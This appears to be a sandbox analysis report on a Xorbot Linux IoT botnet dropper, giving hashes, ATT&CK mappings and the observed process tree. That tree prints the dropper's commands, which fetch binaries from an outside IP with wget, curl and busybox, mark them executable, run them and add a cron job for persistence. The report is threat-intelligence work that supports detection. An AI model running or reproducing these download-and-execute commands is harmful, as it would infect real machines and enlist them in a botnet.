xorbot | 47bec10be1924a07463c14e3ec14c0d176a1647a2f8090a774b6b9d0317f5b25

Analysis

max time kernel
149s
max time network
152s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
01-12-2024 18:17

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General

Target

bins.sh
Size

10KB
MD5

28b44d48978ad6ce4f2eed068e2680b4
SHA1

36f517d3e46e9e683a46490065c5f2169c47ca6b
SHA256

47bec10be1924a07463c14e3ec14c0d176a1647a2f8090a774b6b9d0317f5b25
SHA512

dee2972f09ac8e1ff184ef0fccb7b4107d55f0324a6907f6af177226a95d48365b48950c06c946c9e6e76f9aa4b9bcbb9fcf185ed4f6844f6b7bfeb341c009a3
SSDEEP

96:h7r7r7p7m7iYx4RrBNFjJUDqRT21WFi6JU1hOY97r7r7p7m7iux4VO:1XXdMfx4RrBNFVYXXdMNWO

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmod

pid	Process
1491	chmod

Executes dropped EXE 1 IoCs

Processes:

v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr

ioc	pid	Process
/tmp/v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr	1492	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr

Renames itself 1 IoCs

Processes:

v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr

pid	Process
1493	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.9BXsrL	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr

description	ioc	Process
File opened for reading	/proc/645/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/870/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/1177/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/1546/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/1584/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/1589/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/9/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/1062/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/13/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/26/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/1300/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/1517/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/198/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/656/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/1113/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/1534/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/1590/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/1591/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/155/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/940/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/1144/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/1518/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/1549/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/1581/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/5/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/949/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/1161/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/1571/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/197/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/586/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/947/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/1154/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/12/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/447/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/502/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/22/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/32/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/701/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/1468/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/1567/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/1595/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/20/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/1004/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/1508/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/162/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/451/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/1060/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/78/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/1525/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/1574/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/1599/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/1553/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/1562/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/1578/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/153/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/159/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/1147/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/1511/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/1547/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/18/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/1186/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/1519/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/84/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
File opened for reading	/proc/1510/cmdline	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusybox

description	ioc	Process
File opened for modification	/tmp/v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr	wget
File opened for modification	/tmp/v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr	curl
File opened for modification	/tmp/v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1474
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1475
- /usr/bin/wget
  wget http://216.126.231.240/bins/v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
  2⤵
  - Writes file to tmp directory
  PID:1476
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
  2⤵
  - Writes file to tmp directory
  PID:1489
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
  2⤵
  - Writes file to tmp directory
  PID:1490
- /bin/chmod
  chmod 777 v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
  2⤵
  - File and Directory Permissions Modification
  PID:1491
- /tmp/v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
  ./v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1492
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1494
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1495
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1496
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1497
- /bin/rm
  rm v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
  2⤵
  PID:1507
- /usr/bin/wget
  wget http://216.126.231.240/bins/yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
  2⤵
  PID:1510
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
  2⤵
  PID:1511

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/var/spool/cron/crontabs/tmp.9BXsrL

Filesize
210B

MD5
9e1baf336438e4ae77dd0c96519aae0c

SHA1
bbd800d81753bcb9439994fb43a808306f439881

SHA256
25049db36b715bfea91204ae373e1d79cfe62551604865962c144208d9b71354

SHA512
242797becdce3bb54a2f3ff9a077b4b3da97bdbc9ec3eea919cac2f4379a771d5be54e65539d9c81ee2d99a49ab4792f44fdc2cf54414fbb0cfe8b50f33d488f

Download Submit